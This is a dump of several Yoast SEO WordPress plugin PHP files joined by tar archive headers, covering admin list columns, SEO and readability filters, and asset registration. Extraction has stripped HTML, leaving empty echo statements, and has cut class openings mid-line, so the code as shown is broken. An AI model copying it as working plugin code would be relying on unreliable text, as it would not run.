); } return array_merge( $columns, $added_columns ); } /** * Displays the column content for the given column. * * @param string $column_name Column to display the content for. * @param int $post_id Post to display the column content for. * * @return void */ public function column_content( $column_name, $post_id ) { if ( $this->display_metabox() === false ) { return; } switch ( $column_name ) { case 'wpseo-score': // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in render_score_indicator() method. echo $this->parse_column_score( $post_id ); return; case 'wpseo-score-readability': // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in render_score_indicator() method. echo $this->parse_column_score_readability( $post_id ); return; case 'wpseo-title': $meta = $this->get_meta( $post_id ); if ( $meta ) { echo esc_html( $meta->title ); } return; case 'wpseo-metadesc': $metadesc_val = ''; $meta = $this->get_meta( $post_id ); if ( $meta ) { $metadesc_val = $meta->meta_description; } if ( $metadesc_val === '' ) { echo '', /* translators: Hidden accessibility text. */ esc_html__( 'Meta description not set.', 'wordpress-seo' ), ''; return; } echo esc_html( $metadesc_val ); return; case 'wpseo-focuskw': $focuskw_val = WPSEO_Meta::get_value( 'focuskw', $post_id ); if ( $focuskw_val === '' ) { echo '', /* translators: Hidden accessibility text. */ esc_html__( 'Focus keyphrase not set.', 'wordpress-seo' ), ''; return; } echo esc_html( $focuskw_val ); return; } } /** * Indicates which of the SEO columns are sortable. * * @param array $columns Appended with their orderby variable. * * @return array Array containing the sortable columns. */ public function column_sort( $columns ) { if ( $this->display_metabox() === false ) { return $columns; } $columns['wpseo-metadesc'] = 'wpseo-metadesc'; if ( $this->analysis_seo->is_enabled() ) { $columns['wpseo-focuskw'] = 'wpseo-focuskw'; $columns['wpseo-score'] = 'wpseo-score'; } if ( $this->analysis_readability->is_enabled() ) { $columns['wpseo-score-readability'] = 'wpseo-score-readability'; } return $columns; } /** * Hides the SEO title, meta description and focus keyword columns if the user hasn't chosen which columns to hide. * * @param array $hidden The hidden columns. * * @return array Array containing the columns to hide. */ public function column_hidden( $hidden ) { if ( ! is_array( $hidden ) ) { $hidden = []; } array_push( $hidden, 'wpseo-title', 'wpseo-metadesc' ); if ( $this->analysis_seo->is_enabled() ) { $hidden[] = 'wpseo-focuskw'; } return $hidden; } /** * Adds a dropdown that allows filtering on the posts SEO Quality. * * @return void */ public function posts_filter_dropdown() { if ( ! $this->can_display_filter() ) { return; } $ranks = WPSEO_Rank::get_all_ranks(); /* translators: Hidden accessibility text. */ echo ''; echo ''; } /** * Adds a dropdown that allows filtering on the posts Readability Quality. * * @return void */ public function posts_filter_dropdown_readability() { if ( ! $this->can_display_filter() ) { return; } $ranks = WPSEO_Rank::get_all_readability_ranks(); /* translators: Hidden accessibility text. */ echo ''; echo ''; } /** * Generates an '; } /** * Returns the meta object for a given post ID. * * @param int $post_id The post ID. * * @return Meta The meta object. */ protected function get_meta( $post_id ) { $indexable = $this->admin_columns_cache->get_indexable( $post_id ); return YoastSEO()->meta->for_indexable( $indexable, 'Post_Type' ); } /** * Determines the SEO score filter to be later used in the meta query, based on the passed SEO filter. * * @param string $seo_filter The SEO filter to use to determine what further filter to apply. * * @return array The SEO score filter. */ protected function determine_seo_filters( $seo_filter ) { if ( $seo_filter === WPSEO_Rank::NO_FOCUS ) { return $this->create_no_focus_keyword_filter(); } if ( $seo_filter === WPSEO_Rank::NO_INDEX ) { return $this->create_no_index_filter(); } $rank = new WPSEO_Rank( $seo_filter ); return $this->create_seo_score_filter( $rank->get_starting_score(), $rank->get_end_score() ); } /** * Determines the Readability score filter to the meta query, based on the passed Readability filter. * * @param string $readability_filter The Readability filter to use to determine what further filter to apply. * * @return array The Readability score filter. */ protected function determine_readability_filters( $readability_filter ) { $rank = new WPSEO_Rank( $readability_filter ); return $this->create_readability_score_filter( $rank->get_starting_score(), $rank->get_end_score() ); } /** * Creates a keyword filter for the meta query, based on the passed Keyword filter. * * @param string $keyword_filter The keyword filter to use. * * @return array The keyword filter. */ protected function get_keyword_filter( $keyword_filter ) { return [ 'post_type' => get_query_var( 'post_type', 'post' ), 'key' => WPSEO_Meta::$meta_prefix . 'focuskw', 'value' => sanitize_text_field( $keyword_filter ), ]; } /** * Determines whether the passed filter is considered to be valid. * * @param mixed $filter The filter to check against. * * @return bool Whether the filter is considered valid. */ protected function is_valid_filter( $filter ) { return ! empty( $filter ) && is_string( $filter ); } /** * Collects the filters and merges them into a single array. * * @return array Array containing all the applicable filters. */ protected function collect_filters() { $active_filters = []; $seo_filter = $this->get_current_seo_filter(); $readability_filter = $this->get_current_readability_filter(); $current_keyword_filter = $this->get_current_keyword_filter(); if ( $this->is_valid_filter( $seo_filter ) ) { $active_filters = array_merge( $active_filters, $this->determine_seo_filters( $seo_filter ) ); } if ( $this->is_valid_filter( $readability_filter ) ) { $active_filters = array_merge( $active_filters, $this->determine_readability_filters( $readability_filter ) ); } if ( $this->is_valid_filter( $current_keyword_filter ) ) { /** * Adapt the meta query used to filter the post overview on keyphrase. * * @internal * * @param array $keyphrase The keyphrase used in the filter. * @param array $keyword_filter The current keyword filter. */ $keyphrase_filter = apply_filters( 'wpseo_change_keyphrase_filter_in_request', $this->get_keyword_filter( $current_keyword_filter ), $current_keyword_filter ); if ( is_array( $keyphrase_filter ) ) { $active_filters = array_merge( $active_filters, [ $keyphrase_filter ] ); } } /** * Adapt the active applicable filters on the posts overview. * * @internal * * @param array $active_filters The current applicable filters. */ return apply_filters( 'wpseo_change_applicable_filters', $active_filters ); } /** * Modify the query based on the filters that are being passed. * * @param array $vars Query variables that need to be modified based on the filters. * * @return array Array containing the meta query to use for filtering the posts overview. */ public function column_sort_orderby( $vars ) { $collected_filters = $this->collect_filters(); $order_by_column = $vars['orderby']; if ( isset( $order_by_column ) ) { // Based on the selected column, create a meta query. $order_by = $this->filter_order_by( $order_by_column ); /** * Adapt the order by part of the query on the posts overview. * * @internal * * @param array $order_by The current order by. * @param string $order_by_column The current order by column. */ $order_by = apply_filters( 'wpseo_change_order_by', $order_by, $order_by_column ); $vars = array_merge( $vars, $order_by ); } return $this->build_filter_query( $vars, $collected_filters ); } /** * Retrieves the meta robots query values to be used within the meta query. * * @return array Array containing the query parameters regarding meta robots. */ protected function get_meta_robots_query_values() { return [ 'relation' => 'OR', [ 'key' => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex', 'compare' => 'NOT EXISTS', ], [ 'key' => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex', 'value' => '1', 'compare' => '!=', ], ]; } /** * Determines the score filters to be used. If more than one is passed, it created an AND statement for the query. * * @param array $score_filters Array containing the score filters. * * @return array Array containing the score filters that need to be applied to the meta query. */ protected function determine_score_filters( $score_filters ) { if ( count( $score_filters ) > 1 ) { return array_merge( [ 'relation' => 'AND' ], $score_filters ); } return $score_filters; } /** * Retrieves the post type from the $_GET variable. * * @return string|null The sanitized current post type or null when the variable is not set in $_GET. */ public function get_current_post_type() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post_type'] ) && is_string( $_GET['post_type'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['post_type'] ) ); } return null; } /** * Retrieves the SEO filter from the $_GET variable. * * @return string|null The sanitized seo filter or null when the variable is not set in $_GET. */ public function get_current_seo_filter() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['seo_filter'] ) && is_string( $_GET['seo_filter'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['seo_filter'] ) ); } return null; } /** * Retrieves the Readability filter from the $_GET variable. * * @return string|null The sanitized readability filter or null when the variable is not set in $_GET. */ public function get_current_readability_filter() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['readability_filter'] ) && is_string( $_GET['readability_filter'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['readability_filter'] ) ); } return null; } /** * Retrieves the keyword filter from the $_GET variable. * * @return string|null The sanitized seo keyword filter or null when the variable is not set in $_GET. */ public function get_current_keyword_filter() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['seo_kw_filter'] ) && is_string( $_GET['seo_kw_filter'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['seo_kw_filter'] ) ); } return null; } /** * Uses the vars to create a complete filter query that can later be executed to filter out posts. * * @param array $vars Array containing the variables that will be used in the meta query. * @param array $filters Array containing the filters that we need to apply in the meta query. * * @return array Array containing the complete filter query. */ protected function build_filter_query( $vars, $filters ) { // If no filters were applied, just return everything. if ( count( $filters ) === 0 ) { return $vars; } $result = [ 'meta_query' => [] ]; $result['meta_query'] = array_merge( $result['meta_query'], [ $this->determine_score_filters( $filters ) ] ); $current_seo_filter = $this->get_current_seo_filter(); // This only applies for the SEO score filter because it can because the SEO score can be altered by the no-index option. if ( $this->is_valid_filter( $current_seo_filter ) && ! in_array( $current_seo_filter, [ WPSEO_Rank::NO_INDEX, WPSEO_Rank::NO_FOCUS ], true ) ) { $result['meta_query'] = array_merge( $result['meta_query'], [ $this->get_meta_robots_query_values() ] ); } return array_merge( $vars, $result ); } /** * Creates a Readability score filter. * * @param number $low The lower boundary of the score. * @param number $high The higher boundary of the score. * * @return array The Readability Score filter. */ protected function create_readability_score_filter( $low, $high ) { return [ [ 'key' => WPSEO_Meta::$meta_prefix . 'content_score', 'value' => [ $low, $high ], 'type' => 'numeric', 'compare' => 'BETWEEN', ], ]; } /** * Creates an SEO score filter. * * @param number $low The lower boundary of the score. * @param number $high The higher boundary of the score. * * @return array The SEO score filter. */ protected function create_seo_score_filter( $low, $high ) { return [ [ 'key' => WPSEO_Meta::$meta_prefix . 'linkdex', 'value' => [ $low, $high ], 'type' => 'numeric', 'compare' => 'BETWEEN', ], ]; } /** * Creates a filter to retrieve posts that were set to no-index. * * @return array Array containin the no-index filter. */ protected function create_no_index_filter() { return [ [ 'key' => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex', 'value' => '1', 'compare' => '=', ], ]; } /** * Creates a filter to retrieve posts that have no keyword set. * * @return array Array containing the no focus keyword filter. */ protected function create_no_focus_keyword_filter() { return [ [ 'key' => WPSEO_Meta::$meta_prefix . 'meta-robots-noindex', 'value' => 'needs-a-value-anyway', 'compare' => 'NOT EXISTS', ], [ 'key' => WPSEO_Meta::$meta_prefix . 'linkdex', 'value' => 'needs-a-value-anyway', 'compare' => 'NOT EXISTS', ], ]; } /** * Determines whether a particular post_id is of an indexable post type. * * @param string $post_id The post ID to check. * * @return bool Whether or not it is indexable. */ protected function is_indexable( $post_id ) { if ( ! empty( $post_id ) && ! $this->uses_default_indexing( $post_id ) ) { return WPSEO_Meta::get_value( 'meta-robots-noindex', $post_id ) === '2'; } $post = get_post( $post_id ); if ( is_object( $post ) ) { // If the option is false, this means we want to index it. return WPSEO_Options::get( 'noindex-' . $post->post_type, false ) === false; } return true; } /** * Determines whether the given post ID uses the default indexing settings. * * @param int $post_id The post ID to check. * * @return bool Whether or not the default indexing is being used for the post. */ protected function uses_default_indexing( $post_id ) { return WPSEO_Meta::get_value( 'meta-robots-noindex', $post_id ) === '0'; } /** * Returns filters when $order_by is matched in the if-statement. * * @param string $order_by The ID of the column by which to order the posts. * * @return array Array containing the order filters. */ private function filter_order_by( $order_by ) { switch ( $order_by ) { case 'wpseo-metadesc': return [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting. 'meta_key' => WPSEO_Meta::$meta_prefix . 'metadesc', 'orderby' => 'meta_value', ]; case 'wpseo-focuskw': return [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting. 'meta_key' => WPSEO_Meta::$meta_prefix . 'focuskw', 'orderby' => 'meta_value', ]; case 'wpseo-score': return [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting. 'meta_key' => WPSEO_Meta::$meta_prefix . 'linkdex', 'orderby' => 'meta_value_num', ]; case 'wpseo-score-readability': return [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key -- Reason: Only used when user requests sorting. 'meta_key' => WPSEO_Meta::$meta_prefix . 'content_score', 'orderby' => 'meta_value_num', ]; } return []; } /** * Parses the score column. * * @param int $post_id The ID of the post for which to show the score. * * @return string The HTML for the SEO score indicator. */ private function parse_column_score( $post_id ) { $meta = $this->get_meta( $post_id ); if ( $meta ) { return $this->score_icon_helper->for_seo( $meta->indexable, '', __( 'Post is set to noindex.', 'wordpress-seo' ) ); } } /** * Parsing the readability score column. * * @param int $post_id The ID of the post for which to show the readability score. * * @return string The HTML for the readability score indicator. */ private function parse_column_score_readability( $post_id ) { $meta = $this->get_meta( $post_id ); if ( $meta ) { return $this->score_icon_helper->for_readability( $meta->indexable->readability_score ); } } /** * Sets up the hooks for the post_types. * * @return void */ private function set_post_type_hooks() { $post_types = WPSEO_Post_Type::get_accessible_post_types(); if ( ! is_array( $post_types ) || $post_types === [] ) { return; } foreach ( $post_types as $post_type ) { if ( $this->display_metabox( $post_type ) === false ) { continue; } add_filter( 'manage_' . $post_type . '_posts_columns', [ $this, 'column_heading' ], 10, 1 ); add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'column_content' ], 10, 2 ); add_action( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'column_sort' ], 10, 2 ); } unset( $post_type ); } /** * Wraps the WPSEO_Metabox check to determine whether the metabox should be displayed either by * choice of the admin or because the post type is not a public post type. * * @since 7.0 * * @param string|null $post_type Optional. The post type to test, defaults to the current post post_type. * * @return bool Whether or not the meta box (and associated columns etc) should be hidden. */ private function display_metabox( $post_type = null ) { $current_post_type = $this->get_current_post_type(); if ( ! isset( $post_type ) && ! empty( $current_post_type ) ) { $post_type = $current_post_type; } return WPSEO_Utils::is_metabox_active( $post_type, 'post_type' ); } /** * Determines whether or not filter dropdowns should be displayed. * * @return bool Whether or the current page can display the filter drop downs. */ public function can_display_filter() { if ( $GLOBALS['pagenow'] === 'upload.php' ) { return false; } if ( $this->display_metabox() === false ) { return false; } $screen = get_current_screen(); if ( $screen === null ) { return false; } return WPSEO_Post_Type::is_post_type_accessible( $screen->post_type ); } } class-admin-asset-manager.php000064400000046405147207033440012212 0ustar00asset_location = $asset_location; $this->prefix = $prefix; } /** * Enqueues scripts. * * @param string $script The name of the script to enqueue. * * @return void */ public function enqueue_script( $script ) { wp_enqueue_script( $this->prefix . $script ); } /** * Enqueues styles. * * @param string $style The name of the style to enqueue. * * @return void */ public function enqueue_style( $style ) { wp_enqueue_style( $this->prefix . $style ); } /** * Enqueues the appropriate language for the user. * * @return void */ public function enqueue_user_language_script() { $this->enqueue_script( 'language-' . YoastSEO()->helpers->language->get_researcher_language() ); } /** * Registers scripts based on it's parameters. * * @param WPSEO_Admin_Asset $script The script to register. * * @return void */ public function register_script( WPSEO_Admin_Asset $script ) { $url = $script->get_src() ? $this->get_url( $script, WPSEO_Admin_Asset::TYPE_JS ) : false; $args = [ 'in_footer' => $script->is_in_footer(), ]; if ( $script->get_strategy() !== '' ) { $args['strategy'] = $script->get_strategy(); } wp_register_script( $this->prefix . $script->get_name(), $url, $script->get_deps(), $script->get_version(), $args ); if ( in_array( 'wp-i18n', $script->get_deps(), true ) ) { wp_set_script_translations( $this->prefix . $script->get_name(), 'wordpress-seo' ); } } /** * Registers styles based on it's parameters. * * @param WPSEO_Admin_Asset $style The style to register. * * @return void */ public function register_style( WPSEO_Admin_Asset $style ) { wp_register_style( $this->prefix . $style->get_name(), $this->get_url( $style, WPSEO_Admin_Asset::TYPE_CSS ), $style->get_deps(), $style->get_version(), $style->get_media() ); } /** * Calls the functions that register scripts and styles with the scripts and styles to be registered as arguments. * * @return void */ public function register_assets() { $this->register_scripts( $this->scripts_to_be_registered() ); $this->register_styles( $this->styles_to_be_registered() ); } /** * Registers all the scripts passed to it. * * @param array $scripts The scripts passed to it. * * @return void */ public function register_scripts( $scripts ) { foreach ( $scripts as $script ) { $script = new WPSEO_Admin_Asset( $script ); $this->register_script( $script ); } } /** * Registers all the styles it receives. * * @param array $styles Styles that need to be registered. * * @return void */ public function register_styles( $styles ) { foreach ( $styles as $style ) { $style = new WPSEO_Admin_Asset( $style ); $this->register_style( $style ); } } /** * Localizes the script. * * @param string $handle The script handle. * @param string $object_name The object name. * @param array $data The l10n data. * * @return void */ public function localize_script( $handle, $object_name, $data ) { wp_localize_script( $this->prefix . $handle, $object_name, $data ); } /** * Adds an inline script. * * @param string $handle The script handle. * @param string $data The l10n data. * @param string $position Optional. Whether to add the inline script before the handle or after. * * @return void */ public function add_inline_script( $handle, $data, $position = 'after' ) { wp_add_inline_script( $this->prefix . $handle, $data, $position ); } /** * A list of styles that shouldn't be registered but are needed in other locations in the plugin. * * @return array */ public function special_styles() { $flat_version = $this->flatten_version( WPSEO_VERSION ); $asset_args = [ 'name' => 'inside-editor', 'src' => 'inside-editor-' . $flat_version, ]; return [ 'inside-editor' => new WPSEO_Admin_Asset( $asset_args ) ]; } /** * Flattens a version number for use in a filename. * * @param string $version The original version number. * * @return string The flattened version number. */ public function flatten_version( $version ) { $parts = explode( '.', $version ); if ( count( $parts ) === 2 && preg_match( '/^\d+$/', $parts[1] ) === 1 ) { $parts[] = '0'; } return implode( '', $parts ); } /** * Creates a default location object for use in the admin asset manager. * * @return WPSEO_Admin_Asset_Location The location to use in the asset manager. */ public static function create_default_location() { if ( defined( 'YOAST_SEO_DEV_SERVER' ) && YOAST_SEO_DEV_SERVER ) { $url = defined( 'YOAST_SEO_DEV_SERVER_URL' ) ? YOAST_SEO_DEV_SERVER_URL : WPSEO_Admin_Asset_Dev_Server_Location::DEFAULT_URL; return new WPSEO_Admin_Asset_Dev_Server_Location( $url ); } return new WPSEO_Admin_Asset_SEO_Location( WPSEO_FILE, false ); } /** * Checks if the given script is enqueued. * * @param string $script The script to check. * * @return bool True when the script is enqueued. */ public function is_script_enqueued( $script ) { return wp_script_is( $this->prefix . $script ); } /** * Returns the scripts that need to be registered. * * @todo Data format is not self-documenting. Needs explanation inline. R. * * @return array The scripts that need to be registered. */ protected function scripts_to_be_registered() { $header_scripts = [ 'admin-global', 'block-editor', 'classic-editor', 'post-edit', 'help-scout-beacon', 'redirect-old-features-tab', ]; $additional_dependencies = [ 'analysis-worker' => [ self::PREFIX . 'analysis-package' ], 'api-client' => [ 'wp-api' ], 'crawl-settings' => [ 'jquery' ], 'dashboard-widget' => [ self::PREFIX . 'api-client' ], 'wincher-dashboard-widget' => [ self::PREFIX . 'api-client' ], 'editor-modules' => [ 'jquery' ], 'elementor' => [ self::PREFIX . 'api-client', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', ], 'indexation' => [ 'jquery-ui-core', 'jquery-ui-progressbar', ], 'first-time-configuration' => [ self::PREFIX . 'api-client', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', ], 'integrations-page' => [ self::PREFIX . 'api-client', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', ], 'post-edit' => [ self::PREFIX . 'api-client', self::PREFIX . 'block-editor', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', ], 'reindex-links' => [ 'jquery-ui-core', 'jquery-ui-progressbar', ], 'settings' => [ 'jquery-ui-core', 'jquery-ui-progressbar', self::PREFIX . 'api-client', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', ], 'term-edit' => [ self::PREFIX . 'api-client', self::PREFIX . 'classic-editor', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', ], 'general-page' => [ self::PREFIX . 'api-client', ], ]; $plugin_scripts = $this->load_generated_asset_file( [ 'asset_file' => __DIR__ . '/../src/generated/assets/plugin.php', 'ext_length' => 3, 'additional_deps' => $additional_dependencies, 'header_scripts' => $header_scripts, ] ); $external_scripts = $this->load_generated_asset_file( [ 'asset_file' => __DIR__ . '/../src/generated/assets/externals.php', 'ext_length' => 3, 'suffix' => '-package', 'base_dir' => 'externals/', 'additional_deps' => $additional_dependencies, 'header_scripts' => $header_scripts, ] ); $language_scripts = $this->load_generated_asset_file( [ 'asset_file' => __DIR__ . '/../src/generated/assets/languages.php', 'ext_length' => 3, 'suffix' => '-language', 'base_dir' => 'languages/', 'additional_deps' => $additional_dependencies, 'header_scripts' => $header_scripts, ] ); $renamed_scripts = $this->load_renamed_scripts(); $scripts = array_merge( $plugin_scripts, $external_scripts, $language_scripts, $renamed_scripts ); $scripts['installation-success'] = [ 'name' => 'installation-success', 'src' => 'installation-success.js', 'deps' => [ 'wp-a11y', 'wp-dom-ready', 'wp-components', 'wp-element', 'wp-i18n', self::PREFIX . 'components-new-package', self::PREFIX . 'externals-components', ], 'version' => $scripts['installation-success']['version'], ]; $scripts['post-edit-classic'] = [ 'name' => 'post-edit-classic', 'src' => $scripts['post-edit']['src'], 'deps' => array_map( static function ( $dep ) { if ( $dep === self::PREFIX . 'block-editor' ) { return self::PREFIX . 'classic-editor'; } return $dep; }, $scripts['post-edit']['deps'] ), 'in_footer' => ! in_array( 'post-edit-classic', $header_scripts, true ), 'version' => $scripts['post-edit']['version'], ]; $scripts['workouts'] = [ 'name' => 'workouts', 'src' => 'workouts.js', 'deps' => [ 'clipboard', 'lodash', 'wp-api-fetch', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', self::PREFIX . 'externals-components', self::PREFIX . 'externals-contexts', self::PREFIX . 'externals-redux', self::PREFIX . 'analysis', self::PREFIX . 'react-select', self::PREFIX . 'components-new-package', ], 'version' => $scripts['workouts']['version'], ]; // Add the current language to every script that requires the analysis package. foreach ( $scripts as $name => $script ) { if ( substr( $name, -8 ) === 'language' ) { continue; } if ( in_array( self::PREFIX . 'analysis-package', $script['deps'], true ) ) { $scripts[ $name ]['deps'][] = self::PREFIX . YoastSEO()->helpers->language->get_researcher_language() . '-language'; } } return $scripts; } /** * Loads a generated asset file. * * @param array $args { * The arguments. * * @type string $asset_file The asset file to load. * @type int $ext_length The length of the extension, including suffix, of the filename. * @type string $suffix Optional. The suffix of the asset name. * @type array $additional_deps Optional. The additional dependencies assets may have. * @type string $base_dir Optional. The base directory of the asset. * @type string[] $header_scripts Optional. The script names that should be in the header. * } * * @return array { * The scripts to be registered. * * @type string $name The name of the asset. * @type string $src The src of the asset. * @type string[] $deps The dependenies of the asset. * @type bool $in_footer Whether or not the asset should be in the footer. * } */ protected function load_generated_asset_file( $args ) { $args = wp_parse_args( $args, [ 'suffix' => '', 'additional_deps' => [], 'base_dir' => '', 'header_scripts' => [], ] ); $scripts = []; $assets = require $args['asset_file']; foreach ( $assets as $file => $data ) { $name = substr( $file, 0, -$args['ext_length'] ); $name = strtolower( preg_replace( '/([A-Z])/', '-$1', $name ) ); $name .= $args['suffix']; $deps = $data['dependencies']; if ( isset( $args['additional_deps'][ $name ] ) ) { $deps = array_merge( $deps, $args['additional_deps'][ $name ] ); } $scripts[ $name ] = [ 'name' => $name, 'src' => $args['base_dir'] . $file, 'deps' => $deps, 'in_footer' => ! in_array( $name, $args['header_scripts'], true ), 'version' => $data['version'], ]; } return $scripts; } /** * Loads the scripts that should be renamed for BC. * * @return array { * The scripts to be registered. * * @type string $name The name of the asset. * @type string $src The src of the asset. * @type string[] $deps The dependenies of the asset. * @type bool $in_footer Whether or not the asset should be in the footer. * } */ protected function load_renamed_scripts() { $scripts = []; $renamed_scripts = [ 'admin-global-script' => 'admin-global', 'analysis' => 'analysis-package', 'analysis-report' => 'analysis-report-package', 'api' => 'api-client', 'commons' => 'commons-package', 'edit-page' => 'edit-page-script', 'draft-js' => 'draft-js-package', 'feature-flag' => 'feature-flag-package', 'helpers' => 'helpers-package', 'jed' => 'jed-package', 'chart.js' => 'chart.js-package', 'network-admin-script' => 'network-admin', 'redux' => 'redux-package', 'replacement-variable-editor' => 'replacement-variable-editor-package', 'search-metadata-previews' => 'search-metadata-previews-package', 'social-metadata-forms' => 'social-metadata-forms-package', 'styled-components' => 'styled-components-package', 'style-guide' => 'style-guide-package', 'yoast-components' => 'components-new-package', ]; foreach ( $renamed_scripts as $original => $replacement ) { $scripts[] = [ 'name' => $original, 'src' => false, 'deps' => [ self::PREFIX . $replacement ], ]; } return $scripts; } /** * Returns the styles that need to be registered. * * @todo Data format is not self-documenting. Needs explanation inline. R. * * @return array Styles that need to be registered. */ protected function styles_to_be_registered() { $flat_version = $this->flatten_version( WPSEO_VERSION ); return [ [ 'name' => 'admin-css', 'src' => 'yst_plugin_tools-' . $flat_version, 'deps' => [ self::PREFIX . 'toggle-switch' ], ], [ 'name' => 'toggle-switch', 'src' => 'toggle-switch-' . $flat_version, ], [ 'name' => 'dismissible', 'src' => 'wpseo-dismissible-' . $flat_version, ], [ 'name' => 'notifications', 'src' => 'notifications-' . $flat_version, ], [ 'name' => 'alert', 'src' => 'alerts-' . $flat_version, ], [ 'name' => 'edit-page', 'src' => 'edit-page-' . $flat_version, ], [ 'name' => 'featured-image', 'src' => 'featured-image-' . $flat_version, ], [ 'name' => 'metabox-css', 'src' => 'metabox-' . $flat_version, 'deps' => [ self::PREFIX . 'admin-css', self::PREFIX . 'tailwind', 'wp-components', ], ], [ 'name' => 'ai-generator', 'src' => 'ai-generator-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind', self::PREFIX . 'introductions', ], ], [ 'name' => 'ai-fix-assessments', 'src' => 'ai-fix-assessments-' . $flat_version, ], [ 'name' => 'introductions', 'src' => 'introductions-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'wp-dashboard', 'src' => 'dashboard-' . $flat_version, ], [ 'name' => 'scoring', 'src' => 'yst_seo_score-' . $flat_version, ], [ 'name' => 'adminbar', 'src' => 'adminbar-' . $flat_version, 'deps' => [ 'admin-bar', ], ], [ 'name' => 'primary-category', 'src' => 'metabox-primary-category-' . $flat_version, ], [ 'name' => 'admin-global', 'src' => 'admin-global-' . $flat_version, ], [ 'name' => 'extensions', 'src' => 'yoast-extensions-' . $flat_version, 'deps' => [ 'wp-components', ], ], [ 'name' => 'filter-explanation', 'src' => 'filter-explanation-' . $flat_version, ], [ 'name' => 'monorepo', 'src' => 'monorepo-' . $flat_version, ], [ 'name' => 'structured-data-blocks', 'src' => 'structured-data-blocks-' . $flat_version, 'deps' => [ 'dashicons', 'forms', 'wp-edit-blocks', ], ], [ 'name' => 'elementor', 'src' => 'elementor-' . $flat_version, ], [ 'name' => 'tailwind', 'src' => 'tailwind-' . $flat_version, ], [ 'name' => 'new-settings', 'src' => 'new-settings-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'black-friday-banner', 'src' => 'black-friday-banner-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'academy', 'src' => 'academy-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'general-page', 'src' => 'general-page-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'support', 'src' => 'support-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'workouts', 'src' => 'workouts-' . $flat_version, 'deps' => [ self::PREFIX . 'monorepo', ], ], [ 'name' => 'first-time-configuration', 'src' => 'first-time-configuration-' . $flat_version, 'deps' => [ self::PREFIX . 'tailwind' ], ], [ 'name' => 'inside-editor', 'src' => 'inside-editor-' . $flat_version, ], ]; } /** * Determines the URL of the asset. * * @param WPSEO_Admin_Asset $asset The asset to determine the URL for. * @param string $type The type of asset. Usually JS or CSS. * * @return string The URL of the asset. */ protected function get_url( WPSEO_Admin_Asset $asset, $type ) { $scheme = wp_parse_url( $asset->get_src(), PHP_URL_SCHEME ); if ( in_array( $scheme, [ 'http', 'https' ], true ) ) { return $asset->get_src(); } return $this->asset_location->get_url( $asset, $type ); } } class-admin-asset-analysis-worker-location.php000064400000003471147207033440015534 0ustar00flatten_version( WPSEO_VERSION ); } $analysis_worker = $name . '-' . $flat_version . '.js'; $this->asset_location = WPSEO_Admin_Asset_Manager::create_default_location(); $this->asset = new WPSEO_Admin_Asset( [ 'name' => $name, 'src' => $analysis_worker, ] ); } /** * Retrieves the analysis worker asset. * * @return WPSEO_Admin_Asset The analysis worker asset. */ public function get_asset() { return $this->asset; } /** * Determines the URL of the asset on the dev server. * * @param WPSEO_Admin_Asset $asset The asset to determine the URL for. * @param string $type The type of asset. Usually JS or CSS. * * @return string The URL of the asset. */ public function get_url( WPSEO_Admin_Asset $asset, $type ) { $scheme = wp_parse_url( $asset->get_src(), PHP_URL_SCHEME ); if ( in_array( $scheme, [ 'http', 'https' ], true ) ) { return $asset->get_src(); } return $this->asset_location->get_url( $asset, $type ); } } class-gutenberg-compatibility.php000064400000004741147207033440013223 0ustar00current_version = $this->detect_installed_gutenberg_version(); } /** * Determines whether or not Gutenberg is installed. * * @return bool Whether or not Gutenberg is installed. */ public function is_installed() { return $this->current_version !== ''; } /** * Determines whether or not the currently installed version of Gutenberg is below the minimum supported version. * * @return bool True if the currently installed version is below the minimum supported version. False otherwise. */ public function is_below_minimum() { return version_compare( $this->current_version, $this->get_minimum_supported_version(), '<' ); } /** * Gets the currently installed version. * * @return string 